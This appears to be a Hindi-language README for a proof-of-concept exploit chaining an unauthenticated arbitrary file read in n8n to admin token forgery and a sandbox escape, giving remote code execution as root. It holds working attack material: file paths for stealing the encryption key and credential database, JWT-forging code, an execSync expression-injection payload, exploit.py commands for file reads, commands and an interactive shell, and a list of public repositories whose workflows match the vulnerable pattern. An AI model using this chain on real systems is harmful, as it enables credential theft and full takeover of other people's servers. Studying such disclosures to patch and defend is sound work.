
n8n Ni8mare - बिना प्रमाणीकरण के मनमानी फ़ाइल पठन से RCE श्रृंखला (CVSS 10.0)
बिना प्रमाणीकरण के मनमाना फ़ाइल पठन → एडमिन टोकन जालसाज़ी → सैंडबॉक्स बाइपास → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (गंभीर) |
| प्रभावित | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| सुधारित | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| प्रकट तिथि | 2026-01-07 11:09 UTC |
| कोडनेम | Ni8mare |
| श्रेय | Dor Attias (Cyera) |
| एक्सप्लॉइट | Chocapikk |
| प्रक्रिया | AI-स्वचालित: पैच डिफ → रेप्रो → लैब → एक्सप्लॉइट (~9 घंटे खुलासे के बाद) |
| प्रकार | प्रूफ ऑफ कॉन्सेप्ट - सार्वभौमिक एक्सप्लॉइट नहीं (विशिष्ट वर्कफ़्लो कॉन्फ़िग की आवश्यकता होती है, देखें सीमाएँ) |
n8n पर पूर्ण बिना-प्रमाणीकरण RCE श्रृंखला:
यह जोखिम संस्करण-आधारित है। जोखिम के संदर्भ में, कई असुरक्षित n8n इंस्टेंस सार्वजनिक रूप से सुलभ हैं।
LeakIX परिणाम: उजागर इंस्टेंस देखें
यह एक्सप्लॉइट Cyera लेख से स्वतंत्र रूप से विकसित किया गया था (पूरा होने के बाद पता चला)। मुख्य अंतर:
दोनों दृष्टिकोणों के लिए विशिष्ट वर्कफ़्लो कॉन्फ़िगरेशन की आवश्यकता होती है। Cyera को चैट + AI एकीकरण की आवश्यकता है, इस एक्सप्लॉइट को Respond नोड वाले फ़ॉर्म की आवश्यकता है। विवरण के लिए सीमाएँ देखें।
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
प्रसिद्ध "Merge commit from fork" - जब आप यह देखते हैं, किसी ने कुछ मसालेदार खोजा है। 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Content-Type: application/json भेजें → filepath को नियंत्रित करें → कोई भी फ़ाइल पढ़ें।
n8n vm2/isolated-vm का उपयोग करके उपयोगकर्ता कोड (Code Node, एक्सप्रेशन) को सैंडबॉक्स करता है। अन्य RCE वेक्टर:
| तकनीक | स्थिति |
|---|---|
| Execute Command नोड | डिफ़ॉल्ट रूप से अक्षम (N8N_ALLOW_EXEC_COMMAND=false) |
मैंने एक्सप्रेशन इंजेक्शन का उपयोग किया क्योंकि यह डिफ़ॉल्ट सेटिंग्स वाले किसी भी n8n पर काम करता है - किसी विशेष नोड या कॉन्फ़िग की आवश्यकता नहीं होती। Pyodide बाइपास (CVE-2025-68668) के लिए Python Code Node की आवश्यकता होती है जो सभी इंस्टेंस पर उपलब्ध नहीं हो सकता।
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n एक्सप्रेशन्स के पास this.process.mainModule.require तक पहुँच होती है → पूर्ण सैंडबॉक्स एस्केप।
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
यह "किसी भी n8n को हैक करें" एक्सप्लॉइट नहीं है। इसे काम करने के लिए विशेष शर्तों की आवश्यकता होती है:
| आवश्यकता | विवरण |
|---|---|
| फ़ाइल अपलोड वाला फ़ॉर्म | लक्ष्य में फ़ाइल अपलोड फ़ील्ड के साथ एक फ़ॉर्म वर्कफ़्लो होना चाहिए |
असुरक्षित वर्कफ़्लो कॉन्फ़िगरेशन का उदाहरण:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
मुख्य तत्व हैं: fieldType: "file" + respondWith: "binary"। यह पैटर्न फ़ाइल प्रोसेसिंग वर्कफ़्लो (कन्वर्टर, इमेज रिसाइज़र, डॉक्यूमेंट प्रोसेसर) में आम है।
काम करता है:
काम नहीं करता:
नोट: भेद्यता (मनमाना फ़ाइल पठन) एक्सफ़िलट्रेशन विधि की परवाह किए बिना ट्रिगर होती है। Respond नोड सामग्री पुनर्प्राप्त करने का केवल एक तरीका है। वैकल्पिक तरीके (OOB, अन्य आउटपुट नोड) वर्कफ़्लो कॉन्फ़िगरेशन के आधार पर काम कर सकते हैं।
ब्लाइंड एक्सप्लॉइटेशन: यदि कोई respond नोड मौजूद नहीं है, तो फ़ाइल अभी भी n8n द्वारा पढ़ी जाती है लेकिन HTTP प्रतिसाद के माध्यम से एक्सफ़िलट्रेट नहीं की जा सकती। वैकल्पिक तकनीकों (OOB, टाइमिंग) की आवश्यकता होगी।
असुरक्षित पैटर्न (Form Trigger + फ़ाइल अपलोड + Respond to Webhook) सार्वजनिक GitHub रिपॉजिटरीज़ में मौजूद है।
नोट: लोकप्रिय n8n वर्कफ़्लो रेपोज़ (>100⭐) इस पैटर्न का उपयोग नहीं करते। ये सामुदायिक/व्यक्तिगत प्रोजेक्ट हैं:
ये समुदाय-योगदान वाले वर्कफ़्लो हैं। कोई भी आधिकारिक n8n.io टेम्पलेट इस असुरक्षित पैटर्न का उपयोग नहीं करता।
| Cyera (मूल शोध) | यह एक्सप्लॉइट |
|---|
| फ़ाइल पठन | AI ज्ञान आधार में लोड करें → चैट के माध्यम से क्वेरी करें | सीधा HTTP प्रतिसाद |
| पूर्वापेक्षाएँ | चैट वर्कफ़्लो + AI एकीकरण | फ़ाइल अपलोड वाला कोई भी फ़ॉर्म |
| RCE विधि | "Execute Command" नोड (डिफ़ॉल्ट रूप से अक्षम) | एक्सप्रेशन इंजेक्शन (डिफ़ॉल्ट इंस्टॉल पर काम करता है) |
| स्वचालन | मैन्युअल/अवधारणात्मक डेमो | पूरी तरह से स्वचालित Python स्क्रिप्ट |
| SSH/HTTP नोड | रिमोट सर्वर पर निष्पादित करते हैं, n8n होस्ट पर नहीं |
| Pyodide सैंडबॉक्स एस्केप | CVE-2025-68668 - Python Code Node की आवश्यकता है |
| एक्सप्रेशन इंजेक्शन | CVE-2025-68613 - डिफ़ॉल्ट इंस्टॉल पर काम करता है |
| Respond to Webhook नोड | वर्कफ़्लो को फ़ाइल सामग्री HTTP प्रतिसाद में लौटानी चाहिए |
| वर्कफ़्लो सक्रिय | फ़ॉर्म वर्कफ़्लो सक्रिय होना चाहिए |
| बिना प्रमाणीकरण पहुँच | फ़ॉर्म सार्वजनिक रूप से सुलभ होना चाहिए (कोई प्रमाणीकरण नहीं) |
| वर्कफ़्लो फ़ाइल | फ़ाइल फ़ील्ड | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | File Upload | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Audio File | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Upload your document | default |
| learn_earn_ai_insta/.../My workflow.json | upload your file | default |
| finintworkshop/.../API using n8n (ToT).json | file | json |